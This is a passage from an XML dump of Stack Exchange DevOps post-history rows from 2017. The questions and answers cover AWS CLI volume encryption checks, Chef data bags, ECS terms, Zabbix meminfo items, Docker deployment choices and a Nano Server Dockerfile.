https://docs.chef.io/data_bags.html#knife-options" ContentLicense="CC BY-SA 3.0" />
  <row Id="3918" PostHistoryTypeId="2" PostId="1171" RevisionGUID="bbca2410-6050-4cc0-ba6b-003d37731bb4" CreationDate="2017-05-16T11:47:35.343" UserId="57" Text="According to [this document][1] you can run command like:&#xD;&#xA;&#xD;&#xA;    aws ec2 describe-volumes --region us-east-1&#xD;&#xA;&#xD;&#xA;(feel free to set region you use)&#xD;&#xA;and search for field in json output, named &quot;encrypted&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://docs.aws.amazon.com/cli/latest/reference/ec2/describe-volumes.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="3919" PostHistoryTypeId="2" PostId="1172" RevisionGUID="78587f97-eb33-4146-bcc0-97f2a80dd8da" CreationDate="2017-05-16T11:56:21.950" UserId="13" Text="To get the number of non encrypted volumes you can run this command:&#xD;&#xA;&#xD;&#xA;    aws ec2 describe-volumes --region &lt;your_region&gt; --filter &quot;Name=encrypted,Values=false&quot; --query &quot;length(Volumes[])&quot;&#xD;&#xA;&#xD;&#xA;`length` will return the length of the array `Volumes` flattened by the selection operator `[]` (more details on [JMESPath documentation](http://jmespath.readthedocs.io/en/latest/specification.html)).  &#xD;&#xA;As we filter the slection for non encrypted volumes (`--filter &quot;Name=encrypted,Values=false&quot;`) this should allow to demonstrate to the auditor the number is 0 not encrypted volumes.&#xD;&#xA;&#xD;&#xA;Same filter can be applied in the console, in the ec2 page, under 'Elastic Block Store' =&gt; 'Volumes', type `Encrypted : Not Encrypted` to filter the view to non encrypted volumes only. you may add `Attachment Status : Attached` to list only attached volumes." ContentLicense="CC BY-SA 3.0" />
  <row Id="3920" PostHistoryTypeId="5" PostId="1170" RevisionGUID="303c8945-1da2-41c4-b597-32e2d9180d71" CreationDate="2017-05-16T13:16:07.357" UserId="270" Comment="deleted 173 characters in body" Text="You can create Chef data bags in two ways - by loading it from a json file on your disk, or by creating a new data bag which you then write content into (the two commands in the [doc][1]).&#xD;&#xA;&#xD;&#xA;Encrypted data bags are stored on the server, and anyone who wants to read them (a workstation or node) needs to download and decrypt it with the secret key that you pass directly or from a file (see the command flags [here][2]).&#xD;&#xA;&#xD;&#xA;Once you have stored your content in data bags, you can access them in recipes with `data_bag_item(bag_name, item, secret)` (again, see the [docs][3] for sample code).&#xD;&#xA;&#xD;&#xA;Hope this helps!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.chef.io/data_bags.html#using-knife&#xD;&#xA;  [2]: https://docs.chef.io/data_bags.html#knife-options&#xD;&#xA;  [3]: https://docs.chef.io/dsl_recipe.html#data-bag-item" ContentLicense="CC BY-SA 3.0" />
  <row Id="3921" PostHistoryTypeId="5" PostId="1170" RevisionGUID="c09248f7-d90d-40ca-ba24-513b8d1dc9af" CreationDate="2017-05-16T13:37:11.957" UserId="270" Comment="added 31 characters in body" Text="You can create Chef data bags in two ways - by loading it from a json file on your disk, or by creating a new data bag which you then write content into (the two commands in the [doc][1]).&#xD;&#xA;&#xD;&#xA;Encrypted data bags are stored on the server, and anyone who wants to read them (a workstation or node) needs to download and decrypt it with the secret key that you pass directly or from a file (see the command flags [here][2]).&#xD;&#xA;&#xD;&#xA;Once you have stored your content (your secret key from openssl) in data bags, you can access them in recipes with `data_bag_item(bag_name, item, secret)` (again, see the [docs][3] for sample code).&#xD;&#xA;&#xD;&#xA;Hope this helps!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://docs.chef.io/data_bags.html#using-knife&#xD;&#xA;  [2]: https://docs.chef.io/data_bags.html#knife-options&#xD;&#xA;  [3]: https://docs.chef.io/dsl_recipe.html#data-bag-item" ContentLicense="CC BY-SA 3.0" />
  <row Id="3922" PostHistoryTypeId="2" PostId="1173" RevisionGUID="559acb45-35e1-4b36-ad02-369a0adc452b" CreationDate="2017-05-16T14:19:18.540" UserId="2785" Text="I'm a beginner starting to learn about Amazon EC2 and I want to get clear on the following terms, if anyone can supply a basic definition and perhaps an example to tie them together that would be phenomenal:&#xD;&#xA;&#xD;&#xA;Task,&#xD;&#xA;Service,&#xD;&#xA;Container,&#xD;&#xA;Instance,&#xD;&#xA;Cluster (of containers),&#xD;&#xA;State (of a cluster, most odds),&#xD;&#xA;ECS.&#xD;&#xA;&#xD;&#xA;A partial answer will also be valuable." ContentLicense="CC BY-SA 3.0" />
  <row Id="3923" PostHistoryTypeId="1" PostId="1173" RevisionGUID="559acb45-35e1-4b36-ad02-369a0adc452b" CreationDate="2017-05-16T14:19:18.540" UserId="2785" Text="Amazon ECS Basic Definitions and Terms" ContentLicense="CC BY-SA 3.0" />
  <row Id="3924" PostHistoryTypeId="3" PostId="1173" RevisionGUID="559acb45-35e1-4b36-ad02-369a0adc452b" CreationDate="2017-05-16T14:19:18.540" UserId="2785" Text="&lt;amazon-ecs&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3925" PostHistoryTypeId="2" PostId="1174" RevisionGUID="4aa2a99e-c6f7-48ef-8c16-390154162c63" CreationDate="2017-05-16T15:34:40.867" UserId="2787" Text="I didn't notice any difference using -y or -q. Maybe because the question is about using &quot;packer&quot; ?  (I use bare scripts)&#xD;&#xA;&#xD;&#xA;Anyway, in my case, I got rid of the dialogs for `apt upgrade` using the following sed commands around it :&#xD;&#xA;&#xD;&#xA;    sed -i &quot;s/#\ conf_force_conffold=YES/conf_force_conffold=YES/g&quot; /etc/ucf.conf&#xD;&#xA;    apt-get -y upgrade&#xD;&#xA;    sed -i &quot;s/conf_force_conffold=YES/#conf_force_conffold=YES/g&quot; /etc/ucf.conf&#xD;&#xA;&#xD;&#xA;My change is limited to the time of the upgrade.&#xD;&#xA;&lt;br&gt;Technically, it disables the questions about keeping or not an existing configuration when upgrading grub, but only for the time of the upgrade, to avoid side effects.&#xD;&#xA;&#xD;&#xA;OS : Ubuntu 16.04 LTS&#xD;&#xA;&#xD;&#xA;_Hope this helps_" ContentLicense="CC BY-SA 3.0" />
  <row Id="3926" PostHistoryTypeId="2" PostId="1175" RevisionGUID="9dab870d-4ea0-4a22-9b46-6a8902ef08c7" CreationDate="2017-05-16T15:45:13.367" UserId="6" Text=" * **EC2** (Elastic Compute Cloud) Instance - A Virtual Machine server&#xD;&#xA; * **ELB** (Elastic Load Balancer) - A service in EC2 which manages incoming traffic using DNS and managed instances (not seen to the user). Redirects HTTP/TCP requests to instances registered in the ELB. Includes health-check mechanism to include/exclude EC2 instances.&#xD;&#xA; * **ALB Target Group** - A group of EC2 instances, usually containing duplicates of a service listening on a specific TCP port. Includes health-check mechanism.&#xD;&#xA; * **ALB** (Application Load Balancer) - A new generation of ELB. Allows to map multiple URL paths, and `Host:` headers to Target Groups of EC2 instances.&#xD;&#xA; * **EBS** (Elastic Block Storage) - An attachable disk for EC2 instances&#xD;&#xA; * **ASG** (Auto Scaling Group) - A mechanism to create/increase/decrease the number of EC2 instances in a group.&#xD;&#xA; * **Launch Configuration** - Template describing how to create EC2 in ASG.&#xD;&#xA; * **Image** (Usually Docker Image) - A special format of file you can &quot;pull&quot; and &quot;push&quot; to a Docker Registry. Contains &quot;user-space&quot; executables, libraries and files.&#xD;&#xA; * **Container** (Usually Docker Container) - An execution of an Image, running under a Docker Daemon service.&#xD;&#xA; * **ECS** (Elastic Container Service) - Orchestrator for Docker containers in EC2.&#xD;&#xA; * **ECS Cluster** - Collection of EC2 (usually in ASG) that ECS uses for running containers.&#xD;&#xA; * **ECS Host** - One EC2 instances out of all the instances registered in ECS Cluster.&#xD;&#xA; * **ECS Task Definition** - A template on how to run a specific container. Includes most of the arguments/parameters you can find with `docker run` command.&#xD;&#xA; * **ECS Task** - A running container somewhere in the ECS cluster. Usually used to run containers on a schedule, or one-offs.&#xD;&#xA; * **ECS Service** - A service that manages running of ECS Tasks. Can also register listening ports of containers in a specific ALB Target Group.&#xD;&#xA; * **ECS Agent** - Opensource service, running as a container on each ECS Host. Responsible to receive commands from ECS service regarding containers to run/stop/etc...&#xD;&#xA; * **ECR** (Elastic Container Registry) - A managed service in ECS used to store/push/pull Docker images. Similar to Docker Hub, Quay, and other artifact storage services used to manage images as a service." ContentLicense="CC BY-SA 3.0" />
  <row Id="3927" PostHistoryTypeId="2" PostId="1176" RevisionGUID="4b6f27e2-c6b1-44e5-97be-d00013df3e5f" CreationDate="2017-05-16T16:07:51.750" UserId="339" Text="Zabbix's builtin items for monitoring system parameters are reasonably rich, but there are occasionally things it doesn't seem to make trivial to obtain, such as how many dirty cache pages there are.&#xD;&#xA;&#xD;&#xA;For example, consider `/proc/meminfo` on your typical Linux system:&#xD;&#xA;&#xD;&#xA;    Inactive(file):  1348288 kB&#xD;&#xA;    Unevictable:       18876 kB&#xD;&#xA;    Mlocked:           18876 kB&#xD;&#xA;    SwapTotal:       8388604 kB&#xD;&#xA;    SwapFree:        8388604 kB&#xD;&#xA;    Dirty:             39620 kB&#xD;&#xA;    Writeback:           948 kB&#xD;&#xA;    AnonPages:       6184596 kB&#xD;&#xA;    Mapped:          5319216 kB&#xD;&#xA;    Shmem:            427020 kB&#xD;&#xA;    Slab:             741476 kB&#xD;&#xA;    SReclaimable:     633088 kB&#xD;&#xA;    SUnreclaim:       108388 kB&#xD;&#xA;    KernelStack:       14528 kB&#xD;&#xA;    PageTables:       118816 kB&#xD;&#xA;    NFS_Unstable:          0 kB&#xD;&#xA;    Bounce:                0 kB&#xD;&#xA;    WritebackTmp:          0 kB&#xD;&#xA;    CommitLimit:    16575460 kB&#xD;&#xA;    Committed_AS:   19184632 kB&#xD;&#xA;    VmallocTotal:   34359738367 kB&#xD;&#xA;    VmallocUsed:           0 kB&#xD;&#xA;    VmallocChunk:          0 kB&#xD;&#xA;    AnonHugePages:         0 kB&#xD;&#xA;    ShmemHugePages:        0 kB&#xD;&#xA;    ShmemPmdMapped:        0 kB&#xD;&#xA;    CmaTotal:              0 kB&#xD;&#xA;    CmaFree:               0 kB&#xD;&#xA;    HugePages_Total:       0&#xD;&#xA;    HugePages_Free:        0&#xD;&#xA;    HugePages_Rsvd:        0&#xD;&#xA;    HugePages_Surp:        0&#xD;&#xA;    Hugepagesize:       2048 kB&#xD;&#xA;    DirectMap4k:     9692684 kB&#xD;&#xA;    DirectMap2M:     7049216 kB&#xD;&#xA;&#xD;&#xA;What I want is 39620, from the `Dirty` line. With a combination of `sed` and `grep`, this would be as simple as `export field=Dirty; grep -e &quot;$field:&quot; /proc/meminfo  | sed -e &quot;s/^$field: \+\([0-9]\)\+.*$/\1/&quot;`; fairly straightforward.&#xD;&#xA;&#xD;&#xA;I *could* do this with a UserParameter:&#xD;&#xA;&#xD;&#xA;    UserParameter=proc.meminfo[*], grep -e &quot;$1:&quot; /proc/meminfo | sed -e &quot;s/^$1: \+\([0-9]\)\+.*$/\1/&quot;&#xD;&#xA;&#xD;&#xA;and then access the value with the item key `proc.meminfo[Dirty]`.&#xD;&#xA;&#xD;&#xA;I'd *prefer* not to use a UserParameter for this, though, as UserParameter require me to deploy additional configuration to each node, and also the process spawns consume system entropy. Both are things I generally prefer to avoid." ContentLicense="CC BY-SA 3.0" />
  <row Id="3928" PostHistoryTypeId="1" PostId="1176" RevisionGUID="4b6f27e2-c6b1-44e5-97be-d00013df3e5f" CreationDate="2017-05-16T16:07:51.750" UserId="339" Text="Deriving an item value from a structured file in Zabbix" ContentLicense="CC BY-SA 3.0" />
  <row Id="3929" PostHistoryTypeId="3" PostId="1176" RevisionGUID="4b6f27e2-c6b1-44e5-97be-d00013df3e5f" CreationDate="2017-05-16T16:07:51.750" UserId="339" Text="&lt;untagged&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3930" PostHistoryTypeId="2" PostId="1177" RevisionGUID="c083f167-0cd6-44b5-a42c-56ed5fe66a8f" CreationDate="2017-05-16T16:17:20.517" UserId="2789" Text="If your Zabbix agent is 2.2 or later, you could use [Zabbix agent item][1] `vfs.file.regexp` like so:&#xD;&#xA;&#xD;&#xA;    vfs.file.regexp[/proc/meminfo,^Dirty.*([0-9]+),,,,\1]&#xD;&#xA;&#xD;&#xA;  [1]: https://www.zabbix.com/documentation/3.0/manual/config/items/itemtypes/zabbix_agent" ContentLicense="CC BY-SA 3.0" />
  <row Id="3931" PostHistoryTypeId="11" PostId="78" RevisionGUID="94818beb-6d9d-4a40-b26f-383485975b87" CreationDate="2017-05-16T16:18:36.387" UserId="46" Text="{&quot;Voters&quot;:[{&quot;Id&quot;:3,&quot;DisplayName&quot;:&quot;kenorb&quot;},{&quot;Id&quot;:46,&quot;DisplayName&quot;:&quot;Dawny33&quot;}]}" />
  <row Id="3934" PostHistoryTypeId="2" PostId="1179" RevisionGUID="ab120840-1dcc-414e-95c4-82d1626bc416" CreationDate="2017-05-16T19:43:26.137" UserId="2793" Text="So my company has a system we sell that consists of basically a mini-computer &quot;Smartbox&quot; that is running Ubuntu 12.04. This box runs a Django application plus a number of different upstart processes related to it. Not much else. We have thousands of these boxes out on the field. We manage the package dependencies, process registration, etc. through a deb package with varying degrees of success.&#xD;&#xA;&#xD;&#xA;We need a way to efficiently and robustly push updates out to our users out in the field. We also need something that as we upgrade the OS (we are way overdue for a Ubuntu upgrade as you can tell) we can feel relatively secure about our packages &quot;just working&quot;.&#xD;&#xA;&#xD;&#xA;I don't know much about Docker, but when I first heard about our problem (I'm a new hire), Docker was my first thought. But the more I thought about it I felt like maybe it wasn't, as these boxes are ours we control the OS on it which is a big part of the value proposition of Docker, or so I understand. So if we KNOW our boxes will always be Ubuntu and we basically just have a Django app plus some processes to run, is Docker any better than a deb package?&#xD;&#xA;&#xD;&#xA;TL;DR: Docker vs deb packages for a distributed appliance that will always run Ubuntu so platform independence is not that important." ContentLicense="CC BY-SA 3.0" />
  <row Id="3935" PostHistoryTypeId="1" PostId="1179" RevisionGUID="ab120840-1dcc-414e-95c4-82d1626bc416" CreationDate="2017-05-16T19:43:26.137" UserId="2793" Text="Is Docker right for my use case?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3936" PostHistoryTypeId="3" PostId="1179" RevisionGUID="ab120840-1dcc-414e-95c4-82d1626bc416" CreationDate="2017-05-16T19:43:26.137" UserId="2793" Text="&lt;docker&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3937" PostHistoryTypeId="2" PostId="1180" RevisionGUID="b88bbfc1-35e1-4659-b6df-1072634c36bc" CreationDate="2017-05-16T21:11:26.110" UserId="2797" Text="Docker sounds reasonable to me, as you could make and test changes to the container in house, and then depending on your release process, restart the containers always pulling :latest or something similar which would provide a tested upgrade.&#xD;&#xA;&#xD;&#xA;Considerations you would need to deal with include data storage as containers don't retain changes on restart, so you would want a data volume. There are probably a lot more considerations you would have as well once you dig into it. The system that I am currently working with (all docker-based) has been in development for over a year now and we are still finding areas in which we need to make changes to the container, configurations, etc. " ContentLicense="CC BY-SA 3.0" />
  <row Id="3938" PostHistoryTypeId="2" PostId="1181" RevisionGUID="b6316a45-5990-4f5b-8ccb-3cfb6e4e42ff" CreationDate="2017-05-16T21:17:52.983" UserId="2797" Text="we do this with .conf files and loading them via compose&#xD;&#xA;&#xD;&#xA;env_file: /path/to/our.conf&#xD;&#xA;&#xD;&#xA;they can also be used with &#xD;&#xA;&#xD;&#xA;docker run --env-file /path/to/our.conf ourcontainer:version&#xD;&#xA;&#xD;&#xA;In some cases we use the variables defined in our conf files directly, meaning the code we are running reads them direct, in others we need to modify other files on a per environment basis so we use sed or other tools to make changes to a file we have turned into a template" ContentLicense="CC BY-SA 3.0" />
  <row Id="3940" PostHistoryTypeId="2" PostId="1182" RevisionGUID="00984825-9e39-401e-93e5-16a3c3894607" CreationDate="2017-05-17T00:35:44.380" UserId="210" Text="It is possible to test Puppet code using rspec-puppet, but modules that are supported by the community like [NTP][1] do not seem to run test regularly like is done for all Geerlingguy's Ansible roles, e.g. [Apache][2].&#xD;&#xA;&#xD;&#xA;The aim is to find a Puppet module on Github that shows the best practices regarding testing using rspec-puppet on build using a CI like Travis. When such a module is found one could read and understand the .travis.yml and apply it to custom modules.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://github.com/puppetlabs/puppetlabs-ntp&#xD;&#xA;  [2]: https://github.com/geerlingguy/ansible-role-apache" ContentLicense="CC BY-SA 3.0" />
  <row Id="3941" PostHistoryTypeId="1" PostId="1182" RevisionGUID="00984825-9e39-401e-93e5-16a3c3894607" CreationDate="2017-05-17T00:35:44.380" UserId="210" Text="What Puppet modules do include best practices regarding CI and rspec-puppet like Geerlingguy's Ansible roles?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3942" PostHistoryTypeId="3" PostId="1182" RevisionGUID="00984825-9e39-401e-93e5-16a3c3894607" CreationDate="2017-05-17T00:35:44.380" UserId="210" Text="&lt;ansible&gt;&lt;puppet&gt;&lt;rspec-puppet&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3943" PostHistoryTypeId="2" PostId="1183" RevisionGUID="4e5af4c7-ffbc-4143-ae52-c5c75952ce9d" CreationDate="2017-05-17T00:39:39.907" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3944" PostHistoryTypeId="1" PostId="1183" RevisionGUID="4e5af4c7-ffbc-4143-ae52-c5c75952ce9d" CreationDate="2017-05-17T00:39:39.907" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3945" PostHistoryTypeId="2" PostId="1184" RevisionGUID="768fda9b-959d-463b-a1ae-8ee2b3e8cf47" CreationDate="2017-05-17T00:39:39.907" UserId="-1" Text="" ContentLicense="CC BY-SA 3.0" />
  <row Id="3946" PostHistoryTypeId="1" PostId="1184" RevisionGUID="768fda9b-959d-463b-a1ae-8ee2b3e8cf47" CreationDate="2017-05-17T00:39:39.907" UserId="-1" ContentLicense="CC BY-SA 3.0" />
  <row Id="3947" PostHistoryTypeId="5" PostId="1184" RevisionGUID="1337663d-41db-4746-bbc8-b4930eaaf253" CreationDate="2017-05-17T04:21:34.037" UserId="210" Comment="added 102 characters in body" Text="When one what like to ask a question about this test framework for Puppet then one could add this tag." ContentLicense="CC BY-SA 3.0" />
  <row Id="3948" PostHistoryTypeId="24" PostId="1184" RevisionGUID="1337663d-41db-4746-bbc8-b4930eaaf253" CreationDate="2017-05-17T04:21:34.037" Comment="Proposed by 210 approved by -1 edit id of 345" ContentLicense="CC BY-SA 3.0" />
  <row Id="3949" PostHistoryTypeId="5" PostId="1184" RevisionGUID="be7da060-4bbf-4ffc-baa2-06de5768daaf" CreationDate="2017-05-17T04:21:34.037" UserId="46" Comment="deleted 24 characters in body; deleted 15 characters in body" Text="For questions about the `rspec-puppettest` framework for Puppet" ContentLicense="CC BY-SA 3.0" />
  <row Id="3950" PostHistoryTypeId="2" PostId="1185" RevisionGUID="9a2a8242-8d5d-47a8-be94-b907505d43a4" CreationDate="2017-05-17T11:35:01.660" UserId="2769" Text="Go to https://forge.puppet.com and look for modules with a high &quot;Quality Score&quot;&#xD;&#xA;&#xD;&#xA;For example https://forge.puppet.com/puppetlabs/stdlib/scores.&#xD;&#xA;&#xD;&#xA;Then you can take a look at the Project URL and view it's .travis.yml and the tests in spec/&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3951" PostHistoryTypeId="2" PostId="1186" RevisionGUID="559e3df7-84d6-477a-a58f-0394e6735517" CreationDate="2017-05-17T12:30:29.723" UserId="465" Text="There is a great question here about how to get a [list of encrypted disks][1]. I'm currently using the [describe-volumes][2] command. &#xD;&#xA;&#xD;&#xA;For the record I'm currently using:&#xD;&#xA;&#xD;&#xA;    aws ec2 describe-volumes --region us-east-1 --filters Name=encrypted,Values=false Name=attachment.status,Values=attached --query &quot;length(Volumes[])&quot;&#xD;&#xA;&#xD;&#xA;What I want is to filter that down further to just the instances that are running. (ie exclude the ones that are stopped). &#xD;&#xA;&#xD;&#xA;My question is: **How can I get a list of encrypted disks for instances that are running on the AWS CLI?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://devops.stackexchange.com/questions/1169/what-is-the-simplest-way-to-list-which-attached-disks-are-encrypted-and-which-n&#xD;&#xA;  [2]: http://docs.aws.amazon.com/cli/latest/reference/ec2/describe-volumes.html" ContentLicense="CC BY-SA 3.0" />
  <row Id="3952" PostHistoryTypeId="1" PostId="1186" RevisionGUID="559e3df7-84d6-477a-a58f-0394e6735517" CreationDate="2017-05-17T12:30:29.723" UserId="465" Text="How can I get a list of encrypted disks for instances that are running on the AWS CLI?" ContentLicense="CC BY-SA 3.0" />
  <row Id="3953" PostHistoryTypeId="3" PostId="1186" RevisionGUID="559e3df7-84d6-477a-a58f-0394e6735517" CreationDate="2017-05-17T12:30:29.723" UserId="465" Text="&lt;amazon-ec2&gt;&lt;encryption&gt;&lt;aws-cli&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3954" PostHistoryTypeId="2" PostId="1187" RevisionGUID="602799cd-72cc-43a6-b0c8-e7369b3c4541" CreationDate="2017-05-17T13:04:16.503" UserId="270" Text="You have a few options for this:&#xD;&#xA;&#xD;&#xA;If you can pay for this, use commercial API monitoring solutions like [Runscope][1] or [APImetrics][2]. They're easy to setup, have no maintenance overheads, and show you detailed data and alerting etc. The problem with this approach is that they cost money, and if you have a miniscule ops budget or this is a hobby project, it can be hard to justify spending on this.&#xD;&#xA;&#xD;&#xA;...which brings me to the alternative: roll your own. If you have your own system monitoring and metrics setup (Nagios/Icinga/Sensu, and Grafana etc), you can write check scripts for whatever data you need (availability, response time or latency etc). Some of these tools integrate with time series databases like graphite/influxDB, so you can push the check data to that and use a visualization tool like Grafana to show graphs and charts based on this data (here's a [blog post][3] describing Icinga-Grafana integration)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.runscope.com/&#xD;&#xA;  [2]: http://apimetrics.io/&#xD;&#xA;  [3]: http://www.datacentred.co.uk/blog/integrating-icinga2-with-influxdb-and-grafana/" ContentLicense="CC BY-SA 3.0" />
  <row Id="3955" PostHistoryTypeId="2" PostId="1188" RevisionGUID="e07c2a32-518f-40a0-9be8-ac478eb06ed0" CreationDate="2017-05-17T13:33:50.313" UserId="2807" Text="I'm working on my first implemetation of the Elasticsearch-Logstash-Kibana stack. Have everything working, but now I need to:&#xD;&#xA;&#xD;&#xA; - Set alarms on certain thresholds/events&#xD;&#xA; - Send notifications on alarms&#xD;&#xA; - (desirable) Manage alarms from within Kibana (i.e. alert/acknnowledge)&#xD;&#xA;&#xD;&#xA;I've read some partial solutions using another tools beside ELK, as Nagios, but I'm wondering what is the industry's &quot;best&quot; approach to this need.&#xD;&#xA;&#xD;&#xA;Thanks in advance!" ContentLicense="CC BY-SA 3.0" />
  <row Id="3956" PostHistoryTypeId="1" PostId="1188" RevisionGUID="e07c2a32-518f-40a0-9be8-ac478eb06ed0" CreationDate="2017-05-17T13:33:50.313" UserId="2807" Text="Alarms management with Elasticsearch and Kibana" ContentLicense="CC BY-SA 3.0" />
  <row Id="3957" PostHistoryTypeId="3" PostId="1188" RevisionGUID="e07c2a32-518f-40a0-9be8-ac478eb06ed0" CreationDate="2017-05-17T13:33:50.313" UserId="2807" Text="&lt;monitoring&gt;&lt;notifications&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3959" PostHistoryTypeId="2" PostId="1189" RevisionGUID="19391bde-ee25-4177-a0ec-a88da06e18dc" CreationDate="2017-05-17T15:17:23.010" UserId="488" Text="I don't think there are any popular tools for doing this, because it's not a popular way of monitoring. Anything running completely inside the browser will only execute checks as long as it's open in a browser window, so it's not going to be a popular method of monitoring, full stop. It's just not reliable.&#xD;&#xA;&#xD;&#xA;That said, it would be pretty easy to hand-roll something like this in a couple hours with simple HTML/CSS/JS. It might not be pretty, but it would meet the stated requirements." ContentLicense="CC BY-SA 3.0" />
  <row Id="3960" PostHistoryTypeId="2" PostId="1190" RevisionGUID="a375cf46-918f-40ac-9485-6e378d617f2a" CreationDate="2017-05-17T17:08:13.190" UserId="2812" Text="I've worked with Docker a long time.  The platform independence is nice, but it's not what I consider most useful about Docker.&#xD;&#xA;&#xD;&#xA;First and foremost, you get repeatability.  You can create a Dockerfile, debug in a container on your developer machine, run tests on a continuous integration server, and then in your final product, and you know it will behave the same in all those environments.  No forgetting a dependency that a developer had installed on their machine.  Also, your developers don't have to use Ubuntu at their desk.  Important to keep us Arch Linux users happy :-)&#xD;&#xA;&#xD;&#xA;Second, for your upgrade scenario, you can have multiple versions pulled to a machine at once.  If you do a `docker pull myapp:2.0` while `1.0` is running, you can swap to `2.0` extremely quickly.  Much faster than doing a full OS upgrade would normally take.  If you use an orchestrator with multiple instances of microservices, you can even do rolling upgrades that don't interrupt service at all.&#xD;&#xA;&#xD;&#xA;If you use a microservices model, Docker also provides sandboxes that can limit the amount of damage attackers can do in the event of an exploit.  Instead of gaining control over an entire machine, they are only gaining control over one container.&#xD;&#xA;&#xD;&#xA;The main downside is you need the host OS and some sort of orchestration.  There are lots of choices for that, but don't underestimate the amount of work it takes to evaluate one, put it in place, and maintain it.&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3961" PostHistoryTypeId="2" PostId="1191" RevisionGUID="a44b7609-08e5-4e34-83bd-3447b101d616" CreationDate="2017-05-17T17:17:11.660" UserId="488" Text="I'm not 100% sure I understand from the question, but it sounds like the Docker solution would be to go from having an (physical?) appliance with an OS and your app installed on it, to having an appliance with an OS and Docker on it, running a single container with your app in it. That doesn't obviate the need to update the OS in the host, and it adds a layer of complexity (and more updates to contend with, as you'll now have to keep Docker *and* the OS patched) with no readily-apparent benefit as far as the specific areas mentioned in the question are concerned.&#xD;&#xA;&#xD;&#xA;However, if you're talking about going from a *virtual* appliance to a Docker container, that could potentially smooth things out for you, but it also adds Docker as a dependency for your product; you're shutting out anyone who isn't using Docker and doesn't want to add it to their stack just to use your product. You could continue to support those that don't/won't use Docker by continuing to ship the (now &quot;legacy&quot;) virtual appliance as before, but now you've just doubled your workload because you have two distributions to support instead of one." ContentLicense="CC BY-SA 3.0" />
  <row Id="3962" PostHistoryTypeId="2" PostId="1192" RevisionGUID="7f24e4c3-08e4-498d-932f-553c1d0718ae" CreationDate="2017-05-17T18:37:19.250" UserId="707" Text="Imagine the following setup: a build plan has a set of jobs (J), each builds a module (M). Latest successful build for all of them is also there. (BX)&#xD;&#xA;E.g. (imagine there are ten or so; modules are interchangeable i.e. will be never linked to each other)&#xD;&#xA;&#xD;&#xA;    J1-&gt;M1-&gt;BM1-X&#xD;&#xA;    J2-&gt;M2-&gt;BM2-Y&#xD;&#xA;    J3-&gt;M3-&gt;BM3-Z&#xD;&#xA;&#xD;&#xA;Now imagine there are changes in just one of repos, say M1. We know that Bamboo runs jobs in parallel.&#xD;&#xA;&#xD;&#xA;Questions:&#xD;&#xA;&#xD;&#xA;- will Bamboo completely rerun builds also J2 and J3, even if it finds out there are no changes in repos M2 and M3?&#xD;&#xA;- If yes (I think so by a test setup but not sure), what is the purpose of doing so? (at least in terms of Bamboo logic)&#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3963" PostHistoryTypeId="1" PostId="1192" RevisionGUID="7f24e4c3-08e4-498d-932f-553c1d0718ae" CreationDate="2017-05-17T18:37:19.250" UserId="707" Text="Rerun of Bamboo jobs on commit" ContentLicense="CC BY-SA 3.0" />
  <row Id="3964" PostHistoryTypeId="3" PostId="1192" RevisionGUID="7f24e4c3-08e4-498d-932f-553c1d0718ae" CreationDate="2017-05-17T18:37:19.250" UserId="707" Text="&lt;bamboo&gt;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3965" PostHistoryTypeId="2" PostId="1193" RevisionGUID="a81794b5-ae0e-42e9-bb1d-0100ffd46276" CreationDate="2017-05-17T21:13:10.687" UserId="72" Text="I'm trying to make an Windows Nano Server container that runs an ASP.NET Core app.   &#xD;&#xA; I'm building it on Windows Server 2016.  I can make it work, but there is one odd problem.&#xD;&#xA;&#xD;&#xA;The only way I can make it work is to build the image, run the container, *then* start an interactive Powershell session and use `Invoke-WebRequest http://localhost:5000`.  Once I do that, the app is visible from other servers (I can't browse the container locally from the Win2016 Server due to a known NAT bug.)&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Here's my Dockerfile:&#xD;&#xA;&#xD;&#xA;    FROM microsoft/dotnet:sdk-nanoserver&#xD;&#xA;    ARG source&#xD;&#xA;    WORKDIR /app&#xD;&#xA;    COPY /ContainerPOC/ .&#xD;&#xA;    RUN dotnet restore --runtime win10-x64 .&#xD;&#xA;    &#xD;&#xA;    RUN dotnet build --framework netcoreapp1.1 --runtime win10-x64 .&#xD;&#xA;    &#xD;&#xA;    EXPOSE 5000&#xD;&#xA;    ENV ASPNETCORE_URLS http://0.0.0.0:5000&#xD;&#xA;    CMD dotnet run --framework netcoreapp1.1&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Any idea why this won't &quot;just work?&quot;  &#xD;&#xA;&#xD;&#xA;" ContentLicense="CC BY-SA 3.0" />
  <row Id="3966" PostHistoryTypeId="1" PostId="1193" RevisionGUID="a81794b5-ae0e-42e9-bb1d-0100ffd46276" CreationDate="2017-05-17T21:13:10.687" UserId="72" Text="Windows Container (Nano Server) with ASP.NET Core" ContentLicense="CC BY-SA 3.0" />
  <row Id="3967" PostHistoryTypeId="3" PostId="1193" RevisionGUID="a81794b5-ae0e-42e9-bb1d-0100ffd46276" CreationDate="2017-05-17T21:13:10.687" UserId="72" Text="&lt;docker&gt;&lt;windows&gt;&lt;containers&gt;" ContentLicense="CC BY-SA 3.0" />
